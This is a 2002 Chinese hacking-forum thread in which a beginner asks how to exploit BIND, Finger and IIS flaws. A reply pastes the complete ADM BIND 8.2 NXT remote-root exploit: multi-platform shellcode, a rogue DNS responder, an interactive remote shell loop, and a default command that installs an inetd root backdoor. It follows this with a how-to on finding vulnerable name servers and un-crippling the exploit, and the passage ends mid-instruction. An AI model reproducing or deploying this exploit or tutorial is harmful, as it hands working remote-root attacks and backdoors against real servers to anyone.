>> 欢迎您, 傲气雄鹰: 重登陆 | 退出 | 注册 | 资料 | 设置 | 排行 | 新贴 | 精华 | 管理 | 帮助 首页

  小榕软件实验室
  刀光雪影
  有几个我从来都没看过有教程的问题~!
发表文章 发表涂鸦
  回复数:7  点击数:524 将此页发给您的朋友        
作者 主题: 有几个我从来都没看过有教程的问题~! 回复 | 收藏 | 打印 | 篇末
Mzqr帅哥哦
级别:高级站友
威望:0
经验:0
货币:
体力:
来源:黑龙江
总发帖数:192
注册日期:2002-03-29
查看 邮件 主页 QQ 消息 引用 复制 下载 

1[BIND漏洞]

BIND version: 樦弫@
可能存在"DNS Support IQUERY"漏洞

2Finger漏洞]

可能存在"Finger重定向"漏洞

3可能存在"IIS Index Server ISAPI扩展远程溢出"漏洞(/NULL.ida)
可能存在"IIS Index Server ISAPI扩展远程溢出"漏洞(/NULL.idq)


微软IIS缺省安装情况下带了一个索引服务器(Index Server,在Windows 2000下名为"Index Service").缺省安装时,IIS支持两种脚本映射:管理脚本(.ida文件)、Inernet数据查询脚本(.idq文件)。这两种脚本都由一个ISAPI扩展 - idq.dll来处理和解释。

由于idq.dll在处理某些URL请求时存在一个未经检查的缓冲区,如果攻击者提供一个特殊格式的URL,就可能引发一个缓冲区溢出。通过精心构造发送数据,攻击者可以改变程序执行流程,执行任意代码。

成功地利用这个漏洞,攻击者可以远程获取"Local System"权限。


说是这么说~!可是菜鸟是看不明白什么意思的~!

谁要是能写一下这个漏洞的详细教程~!小鸟~!万分感激~!今生不能报答~!我也会来世在报~
----------------------------------------------------------

那位MM想要啊,我家有很多啊,可以随时来取啊!嘻嘻~~

编辑 删除 发表时间发表于 2002-04-18.12:09:42   MSIE 6.0b Windows 2000IP: 已记录
spark帅哥哦
级别:长 老 级
威望:4
经验:0
货币:723
体力:34.5
来源:江苏
总发帖数:780
注册日期:2001-06-26
查看 邮件 主页 QQ 消息 引用 复制 下载 

呵呵,给你一些bind漏洞的资料吧!
E文差也不要紧张,硬着头皮看,应该
能明白的,漏洞的利用程式
具体过程,一些技巧里面都写了
Good Luck!
/*
* ADM CONFIDENTIAL -- (ADM Confidential Restricted when
* combined with the aggregated modules for this product)
* OBJECT CODE ONLY SOURCE MATERIALS
* (C) COPYRIGHT ADM Crew. 1999
* All Rights Reserved
*
* This module may not be used, published, distributed or archived without
* the written permission of the ADM Crew. Please contact your local sales
* representative.
*
* ADM named 8.2/8.2.1 NXT remote overflow - horizon/plaguez
*
* "a misanthropic anthropoid with nothing to say"
*
* thanks to stran9er for sdnsofw.c
*
* Intel exploitation is pretty straightforward.. should give you a remote
* shell. The shellcode will break chroot, do a getpeername on all open
* sockets, and dup to the first one that returns AFINET. It also forks and
* runs a command in case the fd duping doesn't go well. Solaris/SPARC is a
* bit more complicated.. we are going through a well trodden part of the
* code, so we don't get the context switch we need to have it populate the
* register windows from the stack. However, if you just hammer the service
* with requests, you will quickly get a context switch at the right time.
* Thus, the SPARC shellcode currently only breaks chroot, closes current
* fd's and runs a command.
* Also, the NetBSD shellcode doesn't break chroot because they stop the
* dir tricks. Of course, they allow mknods in chrooted environments, so
* if named is running as root, then it still might be expoitable.
* The non-exec stack patch version returns into a malloc'ed buffer, whose
* address can vary quite alot. Thus, it may not be as reliable as the other
* versions..
*
* We broke this just a little in order to raise the bar on using it
* (just slightly).. If you'd like to test it on your own box, put a shell
* in /adm/sh, or /adm/ksh for solaris on the target machine.
*/

#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <signal.h>
#include <time.h>
#include <string.h>
#include <ctype.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <arpa/nameser.h>
#include <netdb.h>

char linuxcode[]=
{0xe9,0xac,0x1,0x0,0x0,0x5e,0x89,0x76,0xc,0x8d,0x46,0x8,0x89,0x46,0x10,0x8d,
0x46,0x2e,0x89,0x46,0x14,0x56,0xeb,0x54,0x5e,0x89,0xf3,0xb9,0x0,0x0,0x0,0x0,
0xba,0x0,0x0,0x0,0x0,0xb8,0x5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x6e,0x79,
0x77,0x61,0x79,0x77,0x68,0x6f,0x63,0x61,0x72,0x65,0x73,0x68,0x6f,0x72,0x69,
0x7a,0x6f,0x6e,0x67,0x6f,0x74,0x69,0x74,0x77,0x6f,0x72,0x6b,0x69,0x6e,0x67,
0x73,0x6f,0x61,0x6c,0x6c,0x69,0x73,0x63,0x6f,0x6f,0x6c,0xeb,0x86,0x5e,0x56,
0x8d,0x46,0x8,0x50,0x8b,0x46,0x4,0x50,0xff,0x46,0x4,0x89,0xe1,0xbb,0x7,0x0,
0x0,0x0,0xb8,0x66,0x0,0x0,0x0,0xcd,0x80,0x83,0xc4,0xc,0x89,0xc0,0x85,0xc0,
0x75,0xda,0x66,0x83,0x7e,0x8,0x2,0x75,0xd3,0x8b,0x56,0x4,0x4a,0x52,0x89,0xd3,
0xb9,0x0,0x0,0x0,0x0,0xb8,0x3f,0x0,0x0,0x0,0xcd,0x80,0x5a,0x52,0x89,0xd3,
0xb9,0x1,0x0,0x0,0x0,0xb8,0x3f,0x0,0x0,0x0,0xcd,0x80,0x5a,0x52,0x89,0xd3,
0xb9,0x2,0x0,0x0,0x0,0xb8,0x3f,0x0,0x0,0x0,0xcd,0x80,0xeb,0x12,0x5e,0x46,
0x46,0x46,0x46,0x46,0xc7,0x46,0x10,0x0,0x0,0x0,0x0,0xe9,0xfe,0xfe,0xff,0xff,
0xe8,0xe9,0xff,0xff,0xff,0xe8,0x4f,0xfe,0xff,0xff,0x2f,0x61,0x64,0x6d,0x2f,
0x73,0x68,0x0,0x2d,0x63,0x0,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,
0xff,0xff,0xff,0xff,0x0,0x0,0x0,0x0,0x70,0x6c,0x61,0x67,0x75,0x65,0x7a,0x5b,
0x41,0x44,0x4d,0x5d,0x31,0x30,0x2f,0x39,0x39,0x2d};

char sc[]=
{0x40,0x0,0x0,0x2e,0x1,0x0,0x0,0x0,0x90,0x3,0xe0,0xd5,0x92,0x10,0x20,0x0,
0x82,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69,0x7a,0x6f,
0x6e,0x5b,0x41,0x44,0x4d,0x5d,0x31,0x30,0x2f,0x39,0x39,0x0};

char bsdcode[]=
{0xe9,0xd4,0x1,0x0,0x0,0x5e,0x31,0xc0,0x50,0x50,0xb0,0x17,0xcd,0x80,0x31,0xc0,
0x50,0x50,0x56,0x50,0xb0,0x5,0xcd,0x80,0x89,0x46,0x28,0xb9,0xff,0x1,0x0,0x0,
0x51,0x8d,0x46,0x2,0x50,0x50,0xb8,0x88,0x0,0x0,0x0,0xcd,0x80,0x8d,0x46,0x2,
0x50,0x50,0xb8,0x3d,0x0,0x0,0x0,0xcd,0x80,0x8b,0x46,0x28,0x50,0x50,0xb8,0xa7,
0x0,0x0,0x0,0x34,0xaa,0xcd,0x80,0x8d,0x46,0xb,0x50,0x50,0xb8,0xa6,0x0,0x0,
0x0,0x34,0xaa,0xcd,0x80,0x8d,0x46,0x21,0x48,0x50,0x50,0xb8,0x3d,0x0,0x0,0x0,
0xcd,0x80,0x50,0xb8,0x2,0x0,0x0,0x0,0xcd,0x80,0x85,0xc0,0xf,0x85,0xe6,0x0,
0x0,0x0,0x8d,0x56,0x38,0x89,0x56,0x28,0x8d,0x46,0x40,0x89,0x46,0x2c,0x8d,
0x46,0x43,0x89,0x46,0x30,0x8d,0x46,0x30,0x50,0x8d,0x46,0x28,0x50,0x52,0x50,
0xb8,0x3b,0x0,0x0,0x0,0xcd,0x80,0x50,0x50,0xb8,0x1,0x0,0x0,0x0,0xcd,0x80,
0xe8,0xbc,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x62,0x6c,0x61,0x68,
0x62,0x6c,0x61,0x68,0x73,0x61,0x6d,0x65,0x74,0x68,0x69,0x6e,0x67,0x79,0x65,
0x74,0x61,0x6e,0x6f,0x74,0x68,0x65,0x72,0x73,0x70,0x61,0x63,0x65,0x66,0x6f,
0x72,0x61,0x73,0x6f,0x63,0x6b,0x61,0x64,0x64,0x72,0x73,0x74,0x72,0x75,0x63,
0x74,0x75,0x72,0x65,0x62,0x75,0x74,0x74,0x68,0x69,0x73,0x74,0x69,0x6d,0x65,
0x66,0x6f,0x72,0x74,0x68,0x65,0x62,0x73,0x64,0x73,0x68,0x65,0x6c,0x6c,0x63,
0x6f,0x64,0x65,0x66,0x6f,0x72,0x74,0x75,0x6e,0x61,0x74,0x6c,0x79,0x74,0x68,
0x69,0x73,0x77,0x69,0x6c,0x6c,0x77,0x6f,0x72,0x6b,0x69,0x68,0x6f,0x70,0x65,
0x6f,0x6b,0x69,0x74,0x68,0x69,0x6e,0x6b,0x65,0x6e,0x6f,0x75,0x67,0x68,0x73,
0x70,0x61,0x63,0x65,0x6e,0x6f,0x77,0x0,0x70,0x6c,0x61,0x67,0x75,0x65,0x7a,
0x5b,0x41,0x44,0x4d,0x5d,0x20,0x42,0x53,0x44,0x20,0x63,0x72,0x61,0x70,0x70,
0x79,0x20,0x73,0x68,0x65,0x6c,0x6c,0x63,0x6f,0x64,0x65,0x20,0x2d,0x20,0x31,
0x30,0x2f,0x39,0x39,0x31,0xd2,0xe9,0x3f,0xff,0xff,0xff,0x8d,0x46,0x4,0x50,
0x8d,0x46,0x8,0x50,0x52,0x52,0xb8,0x1f,0x0,0x0,0x0,0xcd,0x80,0x5a,0x83,0xf8,
0x0,0x75,0x6,0x80,0x7e,0x9,0x2,0x74,0xc,0x52,0x52,0xb8,0x6,0x0,0x0,0x0,0xcd,
0x80,0x42,0xeb,0xd7,0x6a,0x0,0x52,0x52,0xb8,0x5a,0x0,0x0,0x0,0xcd,0x80,0x6a,
0x1,0x52,0x52,0xb8,0x5a,0x0,0x0,0x0,0xcd,0x80,0x6a,0x2,0x52,0x52,0xb8,0x5a,
0x0,0x0,0x0,0xcd,0x80,0xeb,0x29,0x5e,0x46,0x46,0x46,0x46,0x46,0x8d,0x56,0x38,
0x89,0x56,0x28,0xc7,0x46,0x2c,0x0,0x0,0x0,0x0,0x8d,0x46,0x34,0x50,0x8d,0x46,
0x28,0x50,0x52,0x52,0xb8,0x3b,0x0,0x0,0x0,0xcd,0x80,0xe9,0xc1,0xfe,0xff,0xff,
0xe8,0xd2,0xff,0xff,0xff,0xe8,0x27,0xfe,0xff,0xff,0x2e,0x0,0x41,0x44,0x4d,
0x52,0x4f,0x43,0x4b,0x53,0x0,0x2e,0x2e,0x2f,0x2e,0x2e,0x2f,0x2e,0x2e,0x2f,
0x2e,0x2e,0x2f,0x2e,0x2e,0x2f,0x2e,0x2e,0x2f,0x2e,0x2e,0x2f,0x2e,0x2e,0x2f,
0x0,0x2e,0x2f,0x0,0x0,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,
0xff,0x0,0x0,0x0,0x0,0x2f,0x61,0x64,0x6d,0x2f,0x73,0x68,0x0,0x2d,0x63,0x0,
0x74,0x6f,0x75,0x63,0x68,0x20,0x2f,0x74,0x6d,0x70,0x2f,0x59,0x4f,0x59,0x4f,
0x59,0x4f,0x0};

char bsdnochroot[]=
{0xe9,0x79,0x1,0x0,0x0,0x5e,0x50,0xb8,0x2,0x0,0x0,0x0,0xcd,0x80,0x85,0xc0,0xf,
0x85,0xe6,0x0,0x0,0x0,0x8d,0x56,0x38,0x89,0x56,0x28,0x8d,0x46,0x40,0x89,0x46,
0x2c,0x8d,0x46,0x43,0x89,0x46,0x30,0x8d,0x46,0x30,0x50,0x8d,0x46,0x28,0x50,
0x52,0x50,0xb8,0x3b,0x0,0x0,0x0,0xcd,0x80,0x50,0x50,0xb8,0x1,0x0,0x0,0x0,
0xcd,0x80,0xe8,0xbc,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0xff,0x0,0x0,0x0,0x62,0x6c,
0x61,0x68,0x62,0x6c,0x61,0x68,0x73,0x61,0x6d,0x65,0x74,0x68,0x69,0x6e,0x67,
0x79,0x65,0x74,0x61,0x6e,0x6f,0x74,0x68,0x65,0x72,0x73,0x70,0x61,0x63,0x65,
0x66,0x6f,0x72,0x61,0x73,0x6f,0x63,0x6b,0x61,0x64,0x64,0x72,0x73,0x74,0x72,
0x75,0x63,0x74,0x75,0x72,0x65,0x62,0x75,0x74,0x74,0x68,0x69,0x73,0x74,0x69,
0x6d,0x65,0x66,0x6f,0x72,0x74,0x68,0x65,0x62,0x73,0x64,0x73,0x68,0x65,0x6c,
0x6c,0x63,0x6f,0x64,0x65,0x66,0x6f,0x72,0x74,0x75,0x6e,0x61,0x74,0x6c,0x79,
0x74,0x68,0x69,0x73,0x77,0x69,0x6c,0x6c,0x77,0x6f,0x72,0x6b,0x69,0x68,0x6f,
0x70,0x65,0x6f,0x6b,0x69,0x74,0x68,0x69,0x6e,0x6b,0x65,0x6e,0x6f,0x75,0x67,
0x68,0x73,0x70,0x61,0x63,0x65,0x6e,0x6f,0x77,0x0,0x70,0x6c,0x61,0x67,0x75,
0x65,0x7a,0x5b,0x41,0x44,0x4d,0x5d,0x20,0x42,0x53,0x44,0x20,0x63,0x72,0x61,
0x70,0x70,0x79,0x20,0x73,0x68,0x65,0x6c,0x6c,0x63,0x6f,0x64,0x65,0x20,0x2d,
0x20,0x31,0x30,0x2f,0x39,0x39,0x31,0xd2,0xe9,0x3f,0xff,0xff,0xff,0x5e,0x8d,
0x46,0x4,0x50,0x8d,0x46,0x8,0x50,0x52,0x52,0xb8,0x1f,0x0,0x0,0x0,0xcd,0x80,
0x5a,0x83,0xf8,0x0,0x75,0x6,0x80,0x7e,0x9,0x2,0x74,0xc,0x52,0x52,0xb8,0x6,
0x0,0x0,0x0,0xcd,0x80,0x42,0xeb,0xd7,0x6a,0x0,0x52,0x52,0xb8,0x5a,0x0,0x0,
0x0,0xcd,0x80,0x6a,0x1,0x52,0x52,0xb8,0x5a,0x0,0x0,0x0,0xcd,0x80,0x6a,0x2,
0x52,0x52,0xb8,0x5a,0x0,0x0,0x0,0xcd,0x80,0xeb,0x29,0x5e,0x46,0x46,0x46,0x46,
0x46,0x8d,0x56,0x38,0x89,0x56,0x28,0xc7,0x46,0x2c,0x0,0x0,0x0,0x0,0x8d,0x46,
0x34,0x50,0x8d,0x46,0x28,0x50,0x52,0x52,0xb8,0x3b,0x0,0x0,0x0,0xcd,0x80,0xe9,
0xc0,0xfe,0xff,0xff,0xe8,0xd2,0xff,0xff,0xff,0xe8,0x82,0xfe,0xff,0xff,0x2e,
0x0,0x41,0x44,0x4d,0x52,0x4f,0x43,0x4b,0x53,0x0,0x2e,0x2e,0x2f,0x2e,0x2e,
0x2f,0x2e,0x2e,0x2f,0x2e,0x2e,0x2f,0x2e,0x2e,0x2f,0x2e,0x2e,0x2f,0x2e,0x2e,
0x2f,0x2e,0x2e,0x2f,0x0,0x2e,0x2f,0x0,0x0,0xff,0xff,0xff,0xff,0xff,0xff,0xff,
0xff,0xff,0xff,0xff,0xff,0x0,0x0,0x0,0x0,0x2f,0x61,0x64,0x6d,0x2f,0x73,0x68,
0x0,0x2d,0x63,0x0,0x74,0x6f,0x75,0x63,0x68,0x20,0x2f,0x74,0x6d,0x70,0x2f,
0x59,0x4f,0x59,0x4f,0x59,0x4f,0x0};

struct arch
{
int id;
char *name;
char *code;
int codesize;
unsigned long safe;
unsigned long ret;
int length;
};

struct arch archlist[] =
{
{1, "Linux Redhat 6.x - named 8.2/8.2.1 (from rpm)", linuxcode,
sizeof(linuxcode), 0, 0xbfffd6c3, 6500},
{2, "Linux SolarDiz's non-exec stack patch - named 8.2/8.2.1",linuxcode,
sizeof(linuxcode), 0, 0x80f79ae, 6500},
{3, "Solaris 7 (0xff) - named 8.2.1", sc, sizeof(sc), 0xffbea738,
0xffbedbd0, 11000},
{4, "Solaris 2.6 - named 8.2.1", sc, sizeof(sc), 0xefffa000,
0xefffe5d0, 11000},
{5, "FreeBSD 3.2-RELEASE - named 8.2", bsdcode, sizeof(bsdcode), 1,
0xbfbfbdb8, 7000},
{6, "OpenBSD 2.5 - named 8.2", bsdcode, sizeof(bsdcode), 1,
0xefbfbb00, 7000},
{7, "NetBSD 1.4.1 - named 8.2.1", bsdnochroot, sizeof(bsdnochroot), 1,
0xefbfbb00, 7000},
{0, 0, 0, 0}
};

int arch=0;
char *command=0;

/* these two dns routines from dspoof/jizz */

/* pull out a compressed query name */
char *dnssprintflabel(char *s, char *buf, char *p)
{
unsigned short i,len;
char *b=NULL;

len=(unsigned short)*(p++);
while (len) {
while (len >= 0xC0) {
if (!b)
b=p+1;
p=buf+(ntohs(*((unsigned short *)(p-1))) & ~0xC000);
len=(unsigned short)*(p++);
}

for (i=0;i<len;i++)
*(s++)=*(p++);

*(s++)='.';

len=(unsigned short)*(p++);
}

*(s++)=0;
if (b)
return(b);

return(p);
}

/* store a query name */
char *dnsaddlabel(char *p, char *label)
{
char *p1;

while ((*label) && (label)) {
if ((*label == '.') && (!*(label+1)))
break;

p1=strchr(label,'.');

if (!p1)
p1=strchr(label,0);

*(p++)=p1-label;
memcpy(p,label,p1-label);
p+=p1-label;

label=p1;
if (*p1)
label++;
}
*(p++)=0;

return(p);
}

void make_overflow(char *a)
{
int i;
unsigned long *b;
unsigned char *c;
char sbuf[4096];

if (archlist[arch].safe==0) /* linux */
{
memset(a,0x90,4134);
memcpy(a+3500,archlist[arch].code,archlist[arch].codesize);

if (command)
strcpy(a+3500+archlist[arch].codesize, command);
else
strcpy(a+3500+archlist[arch].codesize, "exit");

b=(unsigned long*)(a+4134);
for (i=0;i<20;i++)
*b++=archlist[arch].ret;
}
else if (archlist[arch].safe==1) /* bsd */
{
memset(a,0x90,4134);
memcpy(a+3300,archlist[arch].code,archlist[arch].codesize);

if (command)
strcpy(a+3300+archlist[arch].codesize, command);
else
strcpy(a+3300+archlist[arch].codesize, "exit");

b=(unsigned long*)(a+4134);
for (i=0;i<20;i++)
*b++=archlist[arch].ret;
}
else /*SPARC*/
{
memset(a,0x0,11000);

b=(unsigned long*)(a+4438);

for (i=0;i<1500;i++)
*b++=htonl(0xac15a16e);

c=(char *)b;

for (i=0;i<archlist[arch].codesize;i++)
*c++=archlist[arch].code[i];
if (command)
strcpy(c, command);
else
strcpy(c, "echo \"ingreslock stream tcp nowait root /bin/sh sh -i\" \
>>/tmp/bob ; /usr/sbin/inetd -s /tmp/bob;/bin/rm -f /tmp/bob ");

b=(unsigned long*)(a+4166);

*b++=htonl(0xdeadbeef);
*b++=htonl(0xdeadbeef);
*b++=htonl(archlist[arch].safe); //i2 - significant
*b++=htonl(0xdeadbeef);
*b++=htonl(0xdeadbeef);
*b++=htonl(archlist[arch].safe); //i5 - significant
*b++=htonl(0xdeadbeef);
*b++=htonl(0xdeadbeef);

*b++=htonl(archlist[arch].safe); //o0 - significant
*b++=htonl(0xdeadbeef);
*b++=htonl(archlist[arch].safe); //o2 - significant
*b++=htonl(0xdeadbeef);
*b++=htonl(0xdeadbeef);
*b++=htonl(0xdeadbeef);
*b++=htonl(archlist[arch].safe); //o6 - significant
*b++=htonl(archlist[arch].ret); //o7 - retaddr
}
}

int form_response(HEADER *packet, char *buf)
{
char query[512];
int qtype;
HEADER *dnsh;
char *p;
char *walker;

memset(buf,0,sizeof(buf));

dnsh = (HEADER *) buf;
dnsh->id = packet->id;
dnsh->qr=1;
dnsh->aa=1;
dnsh->qdcount = htons(1);
dnsh->ancount = htons(1);
dnsh->arcount = htons(1);
dnsh->rcode = 0;

walker=(char*)(dnsh+1);

p=dnssprintflabel(query, (char *)packet, (char*)(packet+1));
query[strlen(query) - 1] = 0;

qtype=*((unsigned short *)p);

printf("%s type=%d\n",query, ntohs(qtype));

/* first, the query */

walker=dnsaddlabel(walker, query);
PUTSHORT(ntohs(qtype), walker);
//PUTSHORT(htons(T_PTR), walker);
PUTSHORT(1,walker);

/* then, our answer */
/* query IN A 1.2.3.4 */

walker=dnsaddlabel(walker, query);
PUTSHORT(T_A, walker);
PUTSHORT(1, walker);
PUTLONG(60*5, walker);
PUTSHORT(4, walker);
sprintf(walker,"%c%c%c%c",1,2,3,4);
walker+=4;

/* finally, we make named do something more interesting */

walker=dnsaddlabel(walker, query);
PUTSHORT(T_NXT, walker);
PUTSHORT(1, walker);
PUTLONG(60*5, walker);

/* the length of one label and our arbitrary data */

PUTSHORT(archlist[arch].length+7, walker);

PUTSHORT(6, walker);
sprintf(walker,"admadm");
walker+=6;
PUTSHORT(0, walker);

make_overflow(walker);
walker+=archlist[arch].length;
PUTSHORT(0, walker);
return walker-buf;
}

#define max(x,y) ((x)>(y)?(x)y))

int proxyloop(int s)
{
char snd[1024], rcv[1024];
fd_set rset;
int maxfd, n;

sleep(1);
printf("Entering proxyloop..\n");
strcpy(snd, "cd /; uname -a; pwd; id;\n");
write(s, snd, strlen(snd));

for (;
{
FD_SET(fileno(stdin), &rset);
FD_SET(s, &rset);
maxfd = max(fileno(stdin), s) + 1;
select(maxfd, &rset, NULL, NULL, NULL);
if (FD_ISSET(fileno(stdin), &rset))
{
bzero(snd, sizeof(snd));
fgets(snd, sizeof(snd) - 2, stdin);
write(s, snd, strlen(snd));
}
if (FD_ISSET(s, &rset))
{
bzero(rcv, sizeof(rcv));
if ((n = read(s, rcv, sizeof(rcv))) == 0)
exit(0);
if (n < 0)
{
return -3;
}
fputs(rcv, stdout);
}
}
return 0;
}

int main(int argc, char **argv)
{
int s, fromlen, res, sl, s2;
struct sockaddr_in sa, from, to;
char buf[16384];
char sendbuf[16384];
unsigned short ts;
int i;

if (argc<2)
{
fprintf(stderr,"Usage: %s architecture [command]\n", argv[0]);
fprintf(stderr,"Available architectures:\n");
i=-1;
while(archlist[++i].id)
fprintf(stderr," %d: %s\n",archlist[i].id,archlist[i].name);
exit(1);
}

arch=atoi(argv[1])-1;

if (argc==3)
command=argv[2];

if ((s=socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP))==-1)
{
perror("socket");
exit(1);
}

bzero(&sa, sizeof sa);

sa.sin_family=AF_INET;
sa.sin_addr.s_addr=INADDR_ANY;
sa.sin_port=htons(53);

if (bind(s, (struct sockaddr *)&sa, sizeof(sa))==-1)
{
perror("bind");
exit(1);
}

do
{
fromlen=sizeof(from);
if ((res=recvfrom(s, buf, sizeof buf, 0, (struct sockaddr *)&from,
&fromlen)) == -1)
{
perror("recvfrom");
exit(1);
}

printf("Received request from %s:%d for ", inet_ntoa(from.sin_addr),
ntohs(from.sin_port));

sl=form_response((HEADER *)buf,sendbuf);

/* now lets connect to the nameserver */

bzero(&to, sizeof(to));
to.sin_family=AF_INET;
to.sin_addr=from.sin_addr;
to.sin_port=htons(53);

if ((s2=socket(AF_INET, SOCK_STREAM, 0))==-1)
{
perror("socket");
exit(1);
}

if (connect(s2, (struct sockaddr *)&to, sizeof to)==-1)
{
perror("connect");
exit(1);
}

ts=htons(sl);
write(s2,&ts,2);

write(s2,sendbuf,sl);
if (archlist[arch].safe>1)
close(s2);
} while (archlist[arch].safe>1); /* infinite loop for sparc */
proxyloop(s2);
exit(1);
}

/*

+-------------------------------------------------------+
|BIND 8.2 - 8.2.2 *Remote root Exploit How-To* by E-Mind|
+-------------------------------------------------------+


(A) What is a DNS?

1. How do I query a DNS?
2. How do I find a vulnerable DNS?


(B) How do I edit DNS entries?

1. How do I find a Zone file?
2. How do I edit a Zone file?


(C) How do I exploit a vulnerable machine

1. What do I need to obtain before I could use the exploit?
2. What is the theory behind the exploit?
3. Where do I get the exploit from?
4. Why should I patch the exploit?
5. How do I patch the exploit?
6. How do I compile the exploit?
7. How do I run the exploit?
8. How do I make the vulnerable server make a query to my ip?
9. What should I do before I leave the shell?


(D) Who should be credited for this HowTo?

1. Who is the person that motivated me into writing this?
2. Who am I?
3. Can I distribute/change this HowTo?
4. Final Credits and Greets


Section A - What is a DNS?
--------------------------

A DNS - Domain Name Server, is used to convert host names to IP addresses
and IP addresses to host names.
for example: www.infoseek.com = 204.162.96.173

1. How do I query a DNS?
    First of all, you should probably know that when you configure your
    TCP/IP and wish to use hostnames in your web browser to get to a web
    site, instead of typing the IP address of that site, you would need
    to configure a DNS server. You will get your DNS server IP address
    from your ISP. To make queries to the DNS server, Unix systems
    (and NT) has a tool calls "nslookup", the syntax of that tool is:
    $nslookup <hostname>
    or
    $nslookup <ip>
    A properly configured DNS server contains two "lists" for a domain
    called the Zone files. One zone file is used for hostname to IP
    resolution, and the other is used for reverse lookup or IP to Hostname
    resolution. "nslookup" can be used in an interactive way, this is the
    way we will work with, as it is more powerful. Just type nslookup at
    the shell and press enter. You will get a ">" prompt, from which you
    can start typing in IP addresses and hostnames. There are some
    commands in nslookup which we will discuss later in this howto that
    will allow you to get some more information.

2. How do I find vulnerable systems?
    Remember, we will exploit Name Servers.
    We first need to find out the version of the DNS service that runs on
    a remote host. As well, we will need to know the Operating System, but
    there are many HowTo****s on that. We will use a tool called "dig", which
    is available on most Unix systems. The syntax looks like this:
    $dig @<victim_ip> version.bind chaos txt | grep \"8
    look at the output. If you see: 8.2 or 8.2.1 or 8.2.2 then it is
    vulnerable. If you see 8.2.2P2 - P5, it is not.
    If you don't get an output and you just see your terminal stuck, it
    means that the DNS admin has probably edited the source so that the
    server won't give you this information. IT COULD BE VULNERABLE.


Section B - How do I edit DNS entries?
--------------------------------------

The first thing you should know is, DNS is only text files, and entries are
added or changed by editing those text files and restarting the service.
The main file that controls the DNS service is /etc/named.conf or
/etc/named.boot. If /etc/named.conf exists, that is the file you should be
working with.

1. How do I find a Zone file?
    As I said earlier, a properly configured DNS has two "lists" or zone
    files for each domain it serves.
    you will need to edit that zone file to change or add entries to that
    domain. A domain is for example, infoseek.com, and a hostname is www,
    the FQDN is www.infoseek.com. FQDN stands for Fully Qualified Domain
    Name. To find the zone file for FQDN to IP for infoseek.com domain,
    we should first query our DNS server to tell us what is the primary
    DNS for infoseek.com. This is how it is done:
   
    $nslookup
    Default Server: xxxxxx.xxxxxxx.xx.xx
    Address: xxx.xx.xx.xx
    >set q=ns<ENTER>
    >infoseek.com<ENTER>
    >infoseek.com nameserver = NS-UU.infoseek.com
    >NS-UU.infoseek.com internet address = 198.5.208.3

    As you can see, now we have the ip address of the name server of
    infoseek.com. Let us suppose that we are root there.
    We SSH to their DNS, and locate the file /etc/named.conf
    We view the file and we see at the top an options section.
    there is a line there that says:
    directory "/var/named"
    This means, that the zone files will sit in /var/named.
    We further look down the file and we see some zone sections,
    We see a zone for infoseek.com which looks like:

    zone "infoseek.com"{
    type master;
    file "infoseek.com.zone";
    };

    As we can understand now, the zone file is:
    /var/named/infoseek.com.zone, and that is the file which we should
    edit.

2. How do I edit a Zone file?
    First, let's take a look at that zone file.
    We see at the top a SOA record, which probably looks to you like a
    block of garbage text at the top.
    then, we see something like:
   
    @ IN NS NS-UU.infoseek.com.
    www IN A 204.192.96.173
    ftp IN CNAME corp-bbn
    corp-bbn IN A 204.192.96.2
    .
    .
    .
   
    As we can see, there are several types of records, for our exploit to
    work, we only need to focus on one record, which is NS.
    An A record is the typical Hostname to IP record type.
    CNAME is a Canonical Name, which is an Alias to an A record.
    A PTR record is a Pointer record, which is the oposit of A, it points
    IP addresses to FQDN****s. PTR****s are used in the "other" zone file.
    We will not discuss about it here but it is recommended that you read
    about DNS, there are many good books about DNS out there, read one.
    An NS record is a Name Server record type which says what is the Name
    Server for a specific domain or sub-domain.
    As you might have noticed, the NS record NS-UU.infoseek.com ends with
    a ".".
    This is because we specified the FQDN and not the hostname.
    When the period is omitted, the domain name is added after the
    hostname and if we where to omit the last period, it would be like we
    have said:
    NS-UU.infoseek.com.infoseek.com.
    So instead of:

    www IN A 204.192.96.173
    we could write:
    www.infoseek.com. IN A 204.192.96.173
    Which is the same thing.
   
    For our exploit to work, we will need to add a sub-domain to a name
    server on the net. So let's again suppose that we are root at
    NS-UU.infoseek.com.
   
    How do we add a sub-domain?
    We just need to add another NS record.

    subdomain IN NS hacker.box.com.

    this means that the name server of the domain subdomain.infoseek.com
    would be hacker.box.com.
    hacker.box.com needs to be resolved to a your machine's IP address, so
    enter your FQDN instead.
    Now, we need to restart the name server so the changes will take
    effect.
    initiate the following command:
   
    #/usr/sbin/ndc restart<ENTER>
    new pid is 24654
    #


Section C - How do I exploit a vulnerable machine
-------------------------------------------------

1. What do I need to obtain before I could use the exploit?
    First of all, 3 brain cells. ;p
    You will also need root privileges on a PRIMARY Name Server on the
    Internet which is Authoritative for a Domain on the net.
    Also, you will need a machine from which you will run the exploit.
    As for the DNS requirement, you could also ask someone that has root
    privileges on such a DNS, to edit the zone files for you.

2. What is the theory behind the exploit?
    The exploit uses a Buffed Overflow in BIND versions 8.2 - 8.2.2 to
    gain a remote root shell.
    The exploit binds to port 53 on the local machine, and acts as a DNS
    server. When someone queries it, it will send a large NXT record that
    contains code that will exploit the remote BIND server,
    provided that it is a vulnerable machine.
    To get more information on how Buffer Overflows work, *PLEASE* read
    Aleph One****s exelent article:
   
    Phrack 49 Article 14 - Smashing The Stack For Fun And Profit.
    URL: http://www.phrack.com/search.phtml?view&article=p49-14

3. Where do I get the exploit from?
    http://www.hack.co.za/daem0n/named/t666.c

4. Why should I patch the exploit?
    You might have heard that one needs to patch the exploit to make it
    work. This is because ADM thought only elite hax0rs should use their
    exploit and so, they planted a small "bug" in the code.
    What they actually did, is change the shell codes so that instead of
    running /bin/sh, the exploit will run /adm/sh.

5. How do I patch the exploit?
    As you may see, only a small change needs to be done in the code.

    / = 2F(HEX) ===> / = 2F(HEX)
    a = 61(HEX) ===> b = 62(HEX)
    d = 64(HEX) ===> i = 69(HEX)
    m = 6D(HEX) ===> n = 6E(HEX)
    / = 2F(HEX) ===> / = 2F(HEX)

    So, all we need to do, is search the source code for
